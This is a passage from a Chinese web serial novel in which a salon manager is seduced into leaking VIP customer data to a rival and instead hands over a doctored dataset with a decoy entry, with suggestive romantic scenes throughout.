不是撒娇,不是撩拨,是一种冷静的、计算的眼神,像是猎手在看猎物。
我心里警铃大作,但脸上什么都没露出来。
真正让我警觉的,是一个深夜。
那天我在办公室里加班整理沈若溪那边发来的产品资料,忙到快十二点。店里的员工早就走光了,整栋楼安静得像一座空城。
“梆梆梆……”
“请进。”
小雅推门进来,端着一杯热牛奶。
“林总监,还在忙啊?”她把牛奶放在我桌上,双手撑在桌沿,身体微微前倾。
她穿着一件宽松的T恤,下面是一条短裤,露出一截白生生的腿。头发披着,垂在肩膀两侧,脸上没有化妆,素面朝天的,但比化了妆还好看。
“小雅姐,你怎么还没走?”
“等你啊。”她笑了,在我对面的椅子上坐下,双腿交叠:“一个人走夜路害怕,想让你送我。”
“行,我把这点看完就走。你先坐一会儿。”
她没有安静地坐着,站起来走到我身后,俯身看我面前的电脑屏幕。
“这是什么呀?密密麻麻的,看得我头疼。”
她的声音从耳边传来,很近。近到我能感觉到她呼吸的温度,拂过我的耳廓。
她的手臂搭在我的椅背上,几乎把我半包围在中间。T恤的领口松松垮垮的,从这个角度,我能看到不该看的东西。
我赶紧移开视线,往旁边侧了侧身子。
“澜曦的产品资料,沈总发来的。”
“沈总是谁?”
“一个客户。”
“女的吧?”她的语气里带着一丝调侃。
“嗯。”
“漂亮吗?”
“……小雅姐,你问这个干什么?”
她笑了,笑声很轻,像猫爪子在心口上挠了一下。
“好奇嘛,你这么拼命加班,是为了给她看?”
“是为了工作。”
“工作……工作,你脑子里就只有工作?”她绕到我面前,靠在桌沿上,双手抱胸,居高临下地看着我,“林远,你有没有想过,你拼命工作是为了什么?”
“赚钱。”
“赚钱干什么?”
“养活自己。”
“然后呢?”
“然后……”我愣了一下,“没想过。”
她弯下腰,双手撑在椅子扶手上,把我圈在中间。这个距离,我能看清她瞳孔里自己的倒影,能闻到她身上沐浴露的味道——奶香的,甜腻的,让人头晕。
“你不想想以后吗?”她的声音很轻,像是在说一个秘密,“你不想在这个城市站稳脚跟吗?你不想有一套自己的房子、一辆自己的车吗?你不想——”
她的目光落在我的嘴唇上,停了一秒。
“有一个陪你的人吗?”
我的心跳漏了一拍。不是因为心动,是因为我知道——她在钓鱼。
“小雅姐,你到底想说什么?”
她盯着我看了几秒,然后直起身,恢复了那种漫不经心的表情。
“没什么,就是觉得你太辛苦了。一个人扛着这么多事,连个说话的人都没有。”
她端起那杯牛奶,塞到我手里。
“喝了早点休息。别熬太晚。”
她转身走了。走到门口的时候,停下来,回头看了我一眼。
“林远,你这个人,真的太老实了。”
门关上了,我坐在椅子上,看着手里的牛奶,心里翻涌着一种说不清的情绪。
她到底想干什么?
是想追我?还是别的什么?
我把牛奶放在桌上,没有喝。
接下来的一周,小雅的攻势更加密集了。
不是那种明目张胆的勾引,是一种若有若无的、让人心痒的撩拨。
上班的时候,她“不小心”把精油洒在了自己衣服上,让我帮她拿纸巾。我递过去的时候,她的手指在我手背上划了一下,又凉又软。
开会的时候,她坐在我旁边,腿贴着我的腿。我往旁边挪,她也跟着挪,始终保持着那种若有若无的接触。
加班的时候,她给我送夜宵,坐在对面看着我吃,双手托腮,眼神迷离。
“林远
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,你有没有女朋友?”
“没有。”
“以前有过吗?”
“没有。”
“一次都没有?”她瞪大了眼睛,难以置信,“你长得也不差啊,怎么可能没有?”
“大学的时候忙着学习,没时间。”
“那现在呢?现在有时间了吗?”
我抬头看她,她的眼睛亮亮的,像两颗星星。
“小雅姐,你到底想问什么?”
她笑了,没有回答,站起来走了。
但走到门口的时候,她回头说了一句话:
“我在宿舍等你。今晚,不管多晚。”
我的心跳加速了,不是因为期待,是因为警觉。
她今晚要摊牌了,当天晚上,我故意拖到很晚。
十一点,店里的灯关了大半,只剩走廊里几盏声控灯还亮着。我站在走廊尽头,看着小雅宿舍的方向,深吸了一口气。
然后我拿出手机,给秦红发了一条消息:“红姐,小雅可能要动手了。”
秦红秒回:“小心点,我安排了人在外面。”
“谁?”
“你别管,出了事会有人接应。”
“好。”
我收起手机,走向小雅的宿舍,门是虚掩着的。
我敲了敲,里面传来她的声音:“进来。”
小雅坐在床边,穿着一件吊带睡裙。白色的,很薄,在台灯的照射下几乎是半透明的。她的头发散着,湿漉漉的,像是刚洗过澡。
空气里有一股香味,不是精油的香味,是沐浴露的味道——和那天晚上一模一样。
她抬起头,看到我,笑了。
“我还以为你不来了。”
“加班。”
“我知道。”她站起来,走到我面前,“所以我在等你。”
她伸出手,握住了我的手。她的手很小,也很热,指尖带着一点湿意。
“小远,”她叫我,声音很轻,“你知道吗,我从第一天看到你,就觉得你不一样。”
“哪里不一样?”
“干净。”她把我的手翻过来,掌心朝上,指尖在我的掌纹上画着圈,“这个店里的人,每个人都有目的。秦总为了钱,婉姐为了躲清静,那些美容师为了多赚几个钱。只有你——”
她抬起头,看着我。眼睛很亮,亮得像是要溢出水来。
第16章 上钩了
“只有你,什么都不图。傻乎乎的,谁对你好一点,你就恨不得把心掏出来。”
“小雅姐,你喝多了?”
“我没喝酒。”她笑了,笑容里带着一丝苦涩,“我就是……有点喜欢你。”
她说这句话的时候,没有撒娇,没有矫情,平平淡淡的,像是在说一件和她无关的事,但手握得更紧了。
“小远,你知道我为什么跟你说这些吗?”她往前走了一步,几乎贴在我身上。睡裙的领口很低,我能看到她锁骨下面那颗小小的痣。
“因为我怕。”她说,“我怕不说就没机会了。”
“什么意思?”
她没有回答,而是踮起脚尖,嘴唇凑到我的耳边。
她的呼吸很热,带着一点牙膏的薄荷味。
“小远,帮我一个忙。帮完这个忙,我就是你的人。”
我的心里咯噔一下,大美女摆在眼前,就算明知道是算计,可身体很诚实啊!
“什么忙?”我问,声音故意压得很低,带着一点犹豫。
“很简单。”她的手从我手里抽出来,慢慢地搭在我的腰上,“你把店里的**导一份给我。就一份。做完这一单,我们就有钱了。很多钱。”
“然后呢?”
“然后我们离开这儿。”她的声音带着一种天真的憧憬,“去一个没人认识我们的地方。你开你的公司,我给你当老板娘。好不好?”
她抬起头,看着我。眼睛里的光,分不清是真情还是假意。
我看着她,沉默了几秒。
然后我伸出手,轻轻地揽住了她的腰。
她的腰很细,隔着那层薄薄的布料,能感觉到皮肤的温度。她颤了一下,然后软了下来,靠在我怀里。她的身体很热,像一团火,烧得我整个人都在发烫。
我的手指在她腰侧轻轻摩挲,感受着那层薄薄布料下的温度。她轻轻地哼了一声,把头埋在我的颈窝里,呼吸打在我的锁骨上,又湿又热。
“你这是答应了?”她问,声音闷闷的,带着一丝颤抖。
“我考虑一下。”我说,手掌从她的腰侧慢慢往上移,滑过她的背脊。她的身体在我怀里微微发抖,像一只被抚摸的猫,又像是紧张,又像是期待。
“不用想太多。”她的手往上移,搭在我的胸口,指尖隔着T恤在我心口画着圈。我能感觉到她的指甲轻轻划过皮肤,留下一道若有若无的痕迹,“那个姐姐说了,只要把数据导出来,剩下的她来操作。你什么都不用管。”
“那个姐姐是谁?”
“你别管是谁。”她仰起头,嘴唇离我的下巴只有几厘米。她的眼睛半睁半闭,睫毛在灯光下投下一片扇形的阴影,“你只要说,做不做?”
我没有回答,而是低下头,看着她的眼睛。
这个距离,我能看清她瞳孔里的自己。一个穿着旧T恤的乡下小子,怀里抱着一个愿意为他做任何事的女人。
但我知道,她怀里也抱着一个东西——五万块。
“做。”我说。
小雅的眼睛亮了。她踮起脚尖,嘴唇凑上来,想要亲我。
我微微侧头,让她的嘴唇落在了我的脸颊上。
“但有个条件。”我松开她的腰,往后退了一步,声音平静得连我自己都觉得陌生,“我要先见见那个姐姐。当面谈。”
小雅愣了一下,随即笑了。
“行,我帮你约。但你得答应我,别跟任何人说。”
“放心。”
她往前迈了一步,重新贴上来,手指勾住我的衣领,把我往床边拉。
“今晚别走了。”她的声音低得像是在呢喃,“陪我。”
她的手指从我的领口滑到胸口,一颗一颗地解我的扣子。我的呼吸变得急促起来——不是因为欲望,是因为紧张。她的手很热,指尖在我裸露的皮肤上划过,像一串火苗。
我抓住她的手:“小雅姐,等事情办完,好吗?”
她看着我,眼神复杂。
“你怕什么?”
“不是怕。”我松开她的手,往后退了一步,和她拉开距离,“是不想在这个时候。你……值得更好的。”
这句话说出口,我自己都觉得假,但她信了。
她的眼眶红了一下,随即笑了,笑容里带着一丝我看不懂的东西。
“你这个人,”她低声说,“真的是个木头。”
她转过身,背对着我,肩膀微微颤抖。
“走吧。”她说,声音有些哑,“等我的消息。”
我站在原地,看着她的背影。吊带睡裙的肩带从肩
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膀上滑下来一截,露出一片白腻的皮肤。我的手心还残留着她腰侧的温度,指尖还有她皮肤的触感——滑的、热的、带着一点点湿意。
有那么一瞬间,我差点动摇。
不是因为心动,是因为——她看起来真的很难过。
不管她的目的是什么,那份难过,是真的。
“小雅姐。”我叫她。
她没有回头:“早点休息。”
我转身走了出去,关上门的那一刻,我听到里面传来一声很轻的、压抑的抽泣。
我站在走廊里,靠着墙,闭上眼睛。
心跳得很快,不是因为她,是因为我自己。
我刚才抱了她,摸了她,感受了她身体的温度和柔软。我让她靠在我怀里,听她在耳边呼吸。我差点——
我深吸了一口气,拿出手机,给赵磊发了一条消息:“磊哥,睡了没?”
秒回:“没,在写代码,怎么了?”
“帮我个忙,做一份假的**。要看起来像真的,但用不了。”
“行。什么时候要?”
“越快越好。”
“三天。”
“好。”
我收起手机,往自己的宿舍走。
经过秦红房间的时候,门突然开了。
秦红靠在门框上,穿着一件黑色睡袍,手里夹着一支没点的烟。
“完事了?”她问,语气淡淡的。
“嗯。”
“她跟你说了什么?”
“让我导**,五万块。”
秦红冷笑了一声:“五万?我的人就值五万?”
“她背后还有人,我答应交易了,但条件是要见那个人。”
秦红看着我,眼神复杂。
“你刚才在她房间里待了多久?”
“二十分钟。”
“二十分钟……”她重复了一遍,嘴角勾起一个意味深长的弧度,“这么长时间,都干了什么?”
我的脸烧了一下。
“没干什么。”
“没干什么?”她往前走了一步,离我很近。睡袍的领口微微敞开,她的眼睛在昏暗的走廊里亮得吓人,“你衣服上的扣子,怎么少了一颗?”
我低头一看——第二颗扣子不见了。大概是刚才小雅解的时候,崩掉了。
“小雅解的。”我老实交代。
第17章 叫红姐
秦红盯着我看了几秒,然后伸手,帮我把敞开的衣领拢了拢。她的指尖碰到我脖子的时候,凉凉的,带着一丝烟草的味道。
“下次再有这种事,提前告诉我。”她的声音低了几分,“别让我从监控里看。”
我愣了一下:“你在走廊里装了监控?”
“你以为我这些年是怎么活下来的?靠运气?”她收回手,后退一步,重新靠在门框上,“回去睡吧。明天还要上班。”
“红姐。”
“嗯?”
“谢谢。”
她没有回答,关上了门。
我站在走廊里,看着那扇紧闭的门,心里涌起一股说不清的情绪。
低头看了看自己的衣领——少了一颗扣子,敞开着,露出结实的胸膛。
我伸手摸了摸脖子,那里还残留着秦红指尖的凉意。
还有腰侧,小雅掌心的温度。
我深吸了一口气,把这些感觉全部压下去,转身走向自己的宿舍。
然后打开电脑,开始做那份假数据。接下来的三天,我几乎没怎么睡。
白天正常上班,处理店里的日常事务,跟进VIP客户的维护。晚上把自己关在宿舍里,对着电脑做那份“假数据”。
赵磊帮了大忙,他是程序员出身,最擅长的就是摆弄数据。我用红颜的真实**做底子,他写了一个脚本,批量生成了一份看起来天衣无缝的假数据。
“这个脚本的原理很简单。”他一边敲键盘一边跟我解释,“每条数据都基于真实数据修改,但修改的幅度随机。比如电话,有的改最后一位,有的改中间两位,有的改区号。地址也一样,有的改门牌号,有的改楼栋,有的改小区名字。”
“能查出来是假的吗?”
“看怎么查。”赵磊推了推眼镜,“如果有人拿着这份数据去打电话、去上门拜访,会发现百分之八十的电话打不通、百分之九十的地址找不到人。但如果只是扫一眼,绝对看不出问题。”
“百分之八十?”我皱眉,“太高了。改到百分之五十。太假了容易被发现。”
“行。”赵磊又敲了几行代码,“现在是多少?”
“百分之五十的错率,剩下的百分之五十是真的。”
“你确定?”赵磊回头看我,眼神里带着不解,“给一半真的一半假的,万一他们用真的那部分……”
“就是要让他们用真的那部分。”我靠在椅背上,看着屏幕上密密麻麻的数据,“如果全是假的,他们用一次就知道上当了。但如果有一部分是真的,他们就会觉得这份数据有真有假,是正常的——没有哪家店的**是百分之百准确的。他们会花时间去验证、去筛选,这个过程,就是给我们留的时间。”
赵磊看了我一眼,没说话,继续敲键盘。
数据做好了之后,我在里面埋了一个“水印”。
一个不存在的VIP客户,名字叫“姜晚晴”,年龄二十八岁,职业栏写着“自由职业”,联系电话是我的一个备用号码,地址是滨海市最贵的一个别墅区。
如果小雅背后的那个人拿到了数据,他们一定会去联系这个“姜晚晴”。因为她的消费记录是红颜VIP客户里最高的——月均消费八万,在这个圈子里,这种级别的客户,谁拿到谁就赚了。
而一旦他们联系这个号码,我就知道——数据已经到他们手里了。
第三天晚上,小雅又来找我了。
这一次是在后门的巷子里,她换回了那件粉色工装,头发扎成马尾,看起来和平时没什么两样。但我注意到她的睫毛刷了一层淡淡的睫毛膏——她平时不刷的。
“想好了吗?”她靠在墙上,双手抱胸,嘴角挂着笑。
“想好了。”我把一个U盘从口袋里掏出来,在她面前晃了一下,“数据在这里。但我有个条件。”
“什么条件?”
“我要见那个姐姐。**。”
小雅的表情变了一下,但很快恢复了正常。
“行,我帮你约。”她从口袋里掏出手机,当着我的面发了一条消息。
三十秒后,手机震了。
她看了一眼屏幕,抬头看我:“明天晚上,八点,南城的一个茶楼。我带你去。”
“好。”
我把U盘递给她。
她接过去的时候,手指故意在我掌心划了一下,又软又痒。
“你不怕我拿了就跑?”她笑了,把U盘攥在手心里。
“你不会。”
“为
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什么这么相信我?”
“因为你说了,你想当老板娘。”
小雅愣了一下,然后笑得更甜了。
她往前走了一步,踮起脚尖,嘴唇凑到我耳边。
“你等着。”她轻声说,气息拂过我的耳廓,带着一股薄荷糖的凉意,“等我拿到钱,我们就离开这儿。”
她转身走了,马尾在脑后轻轻晃动。
我站在巷子里,看着她的背影消失在街角。拿出手机,给秦红发了一条消息:“鱼咬钩了。明天晚上,南城。”
秦红秒回:“小心点。别让人认出来。”
“知道了。”
“还有一件事。”
“什么?”
“你那个U盘里的数据,是真的还是假的?”
“假的。”
“多假?”
“一半真一半假。”
电话那头沉默了几秒。
然后秦红说了一句话,让我心里咯噔了一下。
“那真的那一半,你怎么处理的?”
“没处理。”
“没处理?”她的声音冷了几分,“林远,你知不知道,真的那一半如果被她们拿到——”
“她们拿不到。”我打断她,“真的那一半数据,我已经加密了。就算她们用那部分真的去联系客户,那些客户也会告诉我。”
“怎么告诉?”
“我在每一条真的数据里都做了标记,谁联系了哪个客户,什么时候联系的,说了什么——这些信息,客户会告诉我。”
秦红沉默了很久。
“你怎么做到的?”
“我跟王太她们打过招呼了,说最近有人可能会冒充红颜的员工联系她们,让她们接到电话之后第一时间告诉我。”
“……”
“红姐?”
“林远。”她的声音有些奇怪,像是在忍着什么。
“在。”
“你以后别叫我秦总了。”
“那叫什么?”
“叫红姐。”
电话挂了,我站在巷子里,看着手机屏幕上的通话记录,愣了一下。
红姐,秦红从来不让别人这么叫她。店里的人叫她秦总,苏婉叫她红姐——但那是苏婉,跟了她十几年的朋友。
她让我叫她红姐,我摇了摇头,不想深想。
第18章 傲慢的李曼
回到宿舍的时候,赵磊还在对着电脑敲代码。
“搞定了?”他头也不回地问。
“搞定了。”
“那个U盘里的数据,你做了手脚没有?”
“做了。那个‘姜晚晴’的号码,是你的备用号?”
“嗯。”
“行。”他点了点头,继续敲键盘。
我坐在床上,看着窗台上的满天星。
花开了快三个星期了,还是那么精神。紫色的花瓣在月光下泛着银白色的光,像是在发光。
手机震了一下,苏婉的消息:“小远,明天晚上有事吗?我回总店开会,顺便给你带了些吃的。”
我愣了一下,明天晚上,八点。南城。
“嫂子,明天晚上我有点事。要不你放前台,我回来拿?”
“什么事?”
“店里的事。秦总安排的。”
“行,那你忙。吃的我给你放冰箱里。记得热一下再吃。”
“好。”
“对了,小远。”
“嗯?”
“你最近是不是瘦了?脸上的骨头都突出来了。”
我摸了摸自己的脸,确实比以前瘦了。
“没有,嫂子你看错了。”
“我没看错。你是不是又没好好吃饭?”
“吃了,真的吃了。”
“吃什么了?”
“……泡面。”
苏婉发了一个叹气的表情,然后是一段语音。
我点开,她的声音从手机里传出来,有些沙哑,但很温柔:
“小远,你再这样,我就让秦总扣你工资了。听话,好好吃饭。别让我担心。”
我听完,沉默了很久。
然后打字:“知道了,嫂子。你也是,一个人在那边,照顾好自己。”
“我的事你就不用担心了。我在这边挺好的,天天自己做饭,比在总店的时候还胖了。”
“那就好。”
“小远。”
“嗯?”
“有些事……等见面再说。”
我盯着屏幕,心跳加速了。
“什么事?”
“见面再说。你先忙你的。别太累了。”
“好。”
我放下手机,闭上眼睛。
明天晚上,一切都会有结果。
在那之前,我得睡一会儿。
养足精神,去赴那个约。
南城茶楼的交易比我想象的顺利,李曼比照片上看起来更年轻,也更危险。
她是孙曼丽的表妹,“丽人会”的副总经理。和孙曼丽那种张扬跋扈的风格不同,李曼更像一条蛇——安静的、阴冷的,不声不响地缠住你,等你发现的时候,已经喘不上气了。
她穿着一件黑色的紧身连衣裙,坐在茶楼包厢的主位上,手里把玩着一只紫砂茶杯。看到我进来,她没起身,只是抬了抬眼皮,目光在我身上扫了一圈。
“这就是你说的那个小朋友?”她问小雅,语气像是在评价一件商品。
“曼姐,这就是林远。”小雅站在她身边,语气里带着点邀功的意思,“红颜的运营总监,数据就是他弄到的。”
“运营总监?”李曼笑了,放下茶杯,“坐吧。”
我在她对面坐下。茶桌上摆着一台打开的笔记本电脑,屏幕的蓝光在昏暗的包厢里显得有些刺眼。
“东西带来了?”她问。
我从口袋里掏出U盘,放在桌上。
李曼看了一眼U盘,没有伸手去拿,而是端起茶杯抿了一口。
“小朋友,你知道你手里这东西值多少钱吗?”
“小雅姐说好了的,五万。”
“五万?”李曼笑了,笑声里带着一丝嘲讽,“红颜的**,至少值二十万。但我只给你五万——你知道为什么吗?”
“不知道。”
“因为你只能拿到五万。”她放下茶杯,目光锐利地盯着我,“你是秦红的人,这份数据你是怎么弄到的,我心里有数。要么是你偷的,要么是你拷的。不管是哪种,你都见不得光。一个见不得光的人,没资格谈价。”
这话说得很难听。但我没有生气,脸上甚至挤出了一个窘迫的笑——那种被人戳穿了的、带着点害怕的笑。
“曼姐说得对。”我低下头,声音闷闷的。
李曼满意地点了点头,从包里拿出一沓现金,扔到桌上。
“数数。”
我拿起来,当着她的面数了一遍。五
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万,不多不少。
然后我把U盘推了过去,李曼接过去,**笔记本电脑。屏幕亮起来,密密麻麻的**出现在Excel表格里。她扫了一眼,眉头微微皱起。
“就这些?”
“就这些。红颜VIP客户的全部数据,一千二百三十七条。”
李曼把电脑转向我:“打开几个看看。”
我站起身,走到她身边,弯腰在电脑上操作。这个距离,我能闻到她身上的香水味——浓烈的、甜腻的,和茶香混在一起,熏得人有点头晕。
“这一条,”我指着屏幕,“王芳,四十六岁,滨海市阳光花园小区,月均消费一万二。皮肤偏干,对精油过敏。”
“这一条,李雪,三十一岁,滨海市半山别墅区,月均消费三万五。主要需求是美白淡斑。”
我连续展示了五六条数据,每条都详细、准确,李曼的表情从漫不经心变成了满意。
“不错。”她合上电脑,站起来,走到我面前。
我以为她要握手,下意识地伸出了手。
但她没有握,而是伸出手指点在我的胸口,轻轻戳了一下。指甲很尖,戳的我有点疼。
“小朋友,有没有兴趣来丽人会干?”她的声音压低了几分,带着一种说不清道不明的意味,“秦红给你多少钱?我翻倍。”
她站得很近,近到我能看清她耳垂上那颗小小的痣,能感觉到她呼吸的温度。
“不用了。”我往后退了一步,“我在红颜挺好的。”
“挺好的?”她笑了,往前走了一步,“一个月几千块,住员工宿舍,穿批发市场的衣服,叫挺好的?”
她抬起手,指尖从我的肩膀滑到领口,轻轻扯了扯我的衣领。
“小朋友,你长得不差,脑子也够用,何必窝在秦红那个破店里浪费时间?跟了我,保证你一个月赚的钱比在红颜一年都多。”
小雅在旁边看着,嘴唇抿得很紧,脸上的表情有些复杂。
“曼姐,”我开口,声音尽量平静,“数据我已经给了,钱我也拿了。其他的事,以后再说。”
李曼盯着我看了几秒,然后收回手,笑了。
第19章 继续演戏
“行,不勉强。”她转身走回桌边,把那沓现金装进包里,“不过我提醒你一句——今天的交易,你知道,我知道,小雅也知道。要是让秦红知道了,你觉得她会怎么看你?”
她的语气轻飘飘的,但每个字都像钉子,一颗一颗地钉在我心上。
“我知道。”我低着头,声音沉闷。
“知道就好。”李曼拎起包,走到门口,回头看了我一眼,“小朋友,想通了随时来找我。丽人会的大门,永远为你开着。”
她走了,高跟鞋踩在木地板上,发出有节奏的声响,一步一步,消失在走廊尽头。
包厢里只剩下我和小雅,安静得能听到墙上挂钟的滴答声。
小雅走过来,站在我面前。她没有说话,只是看着我,眼神里有一种我读不懂的东西。
“小远。”她开口了,声音很轻。
“嗯。”
“你没事吧?”
“没事。”
她伸出手,帮我整了整被李曼扯歪的衣领。指尖碰到我的脖子。
“她就是这样的人,”小雅低声说,“对谁都是这样。你别往心里去。”
“我知道。”
“钱拿到了。”她的声音带着一丝期待,“我们是不是可以——”
“小雅姐。”我打断她,“我还有事,先走了。”
她的表情僵了一下,但很快恢复了正常。
“行,那你先忙。”她笑了笑,但笑容没有到达眼底,“回头再说。”
我点了点头,转身走出了包厢。
下楼的时候,我的腿有点软。不是因为害怕,是因为肾上腺素退潮之后的虚脱感。
走出茶楼,夜风吹在脸上,凉飕飕的。我深吸了一口气,把肺里残留的香水味和茶味全部排出去。
秦红的车停在两条街外的巷子里。我拉开车门坐进去,她正在抽烟。
“怎么样?”她问。
“成了。数据给了,钱拿了。”我把装钱的信封扔在车座上,“李曼让我去丽人会,翻倍工资。”
秦红冷笑了一声:“她倒是会挖墙脚。”
“她还说了一句话——‘要是让秦红知道了,你觉得她会怎么看你’。”
秦红的手顿了一下,烟灰落在膝盖上。
“她在挑拨?”
“嗯。她希望我怕你,然后乖乖听她的话。”
秦红沉默了一会儿,然后发动了车子。
“林远。”
“在。”
“你怕吗?”
“怕什么?”
“怕我知道你‘出卖’公司。”
我看着她:“红姐,你知道那是假的。”
“我知道。但别人不知道。”她目视前方,声音平静,“在孙曼丽和李曼眼里,你就是那个为了钱出卖公司的白眼狼。这个标签,一旦贴上,就撕不掉了。”
我沉默了。
“后悔吗?”她问。
“不后悔。”
她看了我一眼,嘴角勾了一下。
“那就别想了。回去睡觉,明天还有事。”
回到宿舍的时候,已经是深夜十一点了。
我洗了澡,躺在床上,看着天花板发呆。窗台上的满天星还在开着,紫色的花瓣在月光下泛着银白色的光。
手机震了。是苏婉的消息。
“小远,今天忙吗?”
“忙。嫂子你呢?”
“还好。就是店里出了点小事。”
我心里一紧:“什么事?”
“有人来**,几个男的,说是林强的债主,让我还钱。”
“嫂子,你没事吧?”
“没事,我报了警,他们就跑了。”
“红姐知道吗?”
“知道了。她说明天派人过来。”
我攥紧了手机:“嫂子,等我忙完这阵子,我过去看你。”
“不用。你忙你的。我这边没事。”
“嫂子——”
“小远。”她打断我,“你听我说。你现在要做的事,是把沈若溪的代理权拿下来。那是大事。我这边都是小事,你别分心。”
“可是——”
“听话。”她的声音很轻,“等你拿下代理权,嫂子给你做好吃的。”
我的喉咙像是被什么东西堵住了。
“好。”
“早点睡。别熬太晚。”
“嗯。嫂子晚安。”
“晚安。”
三天后,我的备用手机响了。
“您好,请问是姜晚晴女士吗?”电话那头是一个女人的声音,职业化的、甜腻腻的。
我马上反应了过来,赶紧打开了早就下载好的**:“我是,你哪位?”
“您好,我是丽人会美容院的客服专员。恭喜您成为我们的VIP体验官,我们为您准备了一份价值八千八百八十八元的免费体验套
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餐——”
“我没留过信息。”我打断她,“你们从哪儿拿到我的电话的?”
电话那头沉默了两秒。
“这个……可能是我们的合作方提供的。姜女士,您放心,我们绝对保护客户隐私——”
“不用了。”
我挂了电话,给秦红发了一条消息:“鱼咬钩了。”
秦红秒回:“好。”
那天下午,秦红把我叫进办公室。
她今天穿了一身黑色的西装,头发梳得一丝不苟,整个人看起来像一把出鞘的刀。
“坐。”她指了指对面的椅子,“两件事。”
“第一,李曼那边已经上钩了。‘姜晚晴’的信息她们拿到之后,当天就录入系统了。我让人查过,她们已经开始用那份假数据联系客户了。”
“第二件事呢?”
秦红从抽屉里拿出一张纸,推到我面前。
那是一份通话记录,密密麻麻的号码和时间。
“这是小雅过去一个月的通话记录。”秦红的声音很冷,“她自己可能不知道,店里的WiFi是我装的,每个连接设备的访问记录,我都有。”
我低头看了一眼——小雅的通话记录里,有一个号码出现频率极高,每天至少三四次。
号码旁边,秦红用红笔写了两个字:李曼。
“所以,证据确凿了。”
“证据确凿。”秦红点了点头,“但我暂时不打算动她。”
“为什么?”
“因为孙曼丽还没出手。”秦红靠在椅背上,目光锐利,“小雅只是个小虾米,抓了她,孙曼丽那边会警觉。我要等——等她出手,然后一次性把她摁死。”
我沉默了一下:“红姐,你是想用小雅做饵?”
“聪明。”秦红笑了,但笑意没到眼底,“小雅在店里一天,孙曼丽就觉得她的眼线还在,就会继续用她。我需要的就是这个时间差——在她以为一切尽在掌握的时候,给她一个惊喜。”
“需要我做什么?”
“继续跟小雅保持‘暧昧’。”秦红看着我,眼神复杂。
“让她觉得你已经被她拿捏了。该演的戏,接着演。有必要的时候,你可以牺牲一下……反正你是男的不吃亏。”说道这里她上下打量了我一番,看得我浑身不自在。
“好……好吧!”我点了点头。
第20章 保持暧昧
“还有一件事。”秦红站起来,走到窗边,背对着我,“沈若溪那边,下周三有个私人晚宴。她让你一起去。”
“我知道。她跟我说了。”
“这个晚宴不简单。”秦红转过身,“来的都是美容行业的人。孙曼丽也会去。”
我心里一紧:“她也会去?”
“嗯。所以你要做好准备——那天晚上,可能会出事。”
“出什么事?”
“不知道。”秦红走到我面前,伸出手,帮我整了整衣领,“但孙曼丽这个人,不会放过任何一个让你难堪的机会。尤其是——”
她顿了顿,手指在我的领口停留了一秒。
“尤其是你拿了周太的名片之后。在她眼里,你已经不是一个小白脸了。你是一个威胁。”
我看着她的眼睛:“红姐,我不怕。”
“我知道你不怕。”她收回手,“但我要你记住一件事——那天晚上,不管发生什么,别冲动。沈若溪的代理权,比你的面子重要。”
“我知道了。”
“去吧。”她挥了挥手,“好好准备。下周三,别给我丢人。”
晚上,我在办公室整理沈若溪要的方案。
门被推开了,小雅站在门口。她的脸色很差,嘴唇发白,眼睛下面有明显的黑眼圈,像是几天没睡好觉。
但她换了一身衣服——不是工装,是一件酒红色的吊带裙,外面套了一件薄薄的针织开衫。裙子很短,露出一截白生生的腿。
头发散着,垂在肩膀两侧,脸上化了妆,比平时浓。眼线画得很长,睫毛刷了一层又一层,显得眼睛又大又媚,但那双眼睛里没有光。
“小雅姐?怎么了?”
她走进来,关上门,反锁了。
“林远,”她的声音有些哑,“我问你一件事。”
“什么事?”
她走到我面前,没有坐下。就那么站着,居高临下地看着我。
“那份数据……”她的声音在发抖,“那份数据,是不是有问题?”
我心里一紧,但脸上没露出来。
“什么问题?”
“李曼那边的人打电话给我了。”她的声音越来越低,“她们说,那份数据里很多的**是错的。电话打不通,地址找不到人。”
她盯着我,眼睛一眨不眨。
“林远,你给我的数据,是假的?”
办公室里安静得能听到墙上挂钟的滴答声,我看着她的眼睛,沉默了几秒。
“小雅姐,你觉得呢?”
她的脸一下子白了。
不是那种害羞的白,是那种——所有希望在一瞬间崩塌的白。
“是你做的?”她的声音在发抖,“林远,是你做的?”
我没有回答,但她从我平静的眼神里,读到了答案。
她往后退了一步,撞在了门上。然后她的身体开始发抖,从肩膀到手,从手到指尖,抖得像一片风中的叶子。
“你从一开始就在骗我?”她的声音变了,不再是那个撒娇的小雅,而是一个被逼到墙角的、绝望的女人,“那天晚上,我跟你说的那些话,你都是在演戏?”
“小雅姐——”
“你抱我的时候,是在演戏?”她的眼眶红了,但没有哭,“你说‘等事情办完’的时候,也是在演戏?”
“小雅姐,是你先骗我的。”我的声音很平静,平静得连我自己都觉得陌生,“你接近我,从一开始就是为了那份数据。那天晚上,你说喜欢我,说想当我的女朋友——”
我顿了顿:“那也是在演戏。”
她愣住了,然后她笑了,笑得眼泪都出来了。
“是,我是在演戏。”她靠着门,声音沙哑,“但你知不知道,演着演着,就分不清真假了?”
她抬起头,看着我。
“林远,我说喜欢你,是真的。你信不信?”
我没有说话。
她看着我的沉默,点了点头,像是在确认什么。
“你不信。”她笑了,笑容里带着一种让人心碎的东西,“没关系,反正你从来没信过我。”
她低下头,肩膀开始颤抖。
我以为她要走了,但她没有。
她解开了针织开衫的扣子。一颗,两颗,三颗。开衫滑落在地上,露出里面那条酒红色的吊带裙。裙子很薄,在灯光下几乎是半透明的。她的锁骨、肩膀、手臂,一寸一寸地暴露在空
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气里。
“小雅姐,你干什么?”
她没有回答,她走到我面前,蹲下来,双手搭在我的膝盖上。
“林远,”她抬起头,看着我,眼睛里全是泪水,“我知道我错了,我不该骗你。但是——”
她的手指在我的膝盖上,顺着大腿慢慢往上移。
“但是我是真的喜欢你。从第一天看到你开始,就喜欢你。”
“小雅姐,别这样——”
“你听我说完。”她打断我,声音突然变得很平静,平静得让人害怕,“李曼那边不会放过我的。我拿了假数据回去,她们会让我吃不了兜着走。我可能连这份工作都保不住了。”
她的手指停在我的大腿上,指尖微微颤抖。
“我什么都没有了。工作、钱、信用——什么都没了。”
她站起来,双手撑在我的椅子扶手上,把我圈在中间。酒红色的裙摆垂下来,蹭着我的手背。她的脸离我很近,近到我能看清她瞳孔里的自己,能闻到她身上的酒味儿。
“但我还有你。”她的声音很轻,轻得像是在说一个秘密,“林远,你愿意要我吗?”
她的嘴唇贴了上来,我没有躲。
她的嘴唇很软,很凉,带着一点咸味——是眼泪的味道。她的手从扶手上移开,搭在我的肩膀上,然后慢慢往下,解开了我衬衫的第一颗扣子。
第二颗,第三颗……
她的手指很凉,碰到我皮肤的时候,像是被冰了一下。
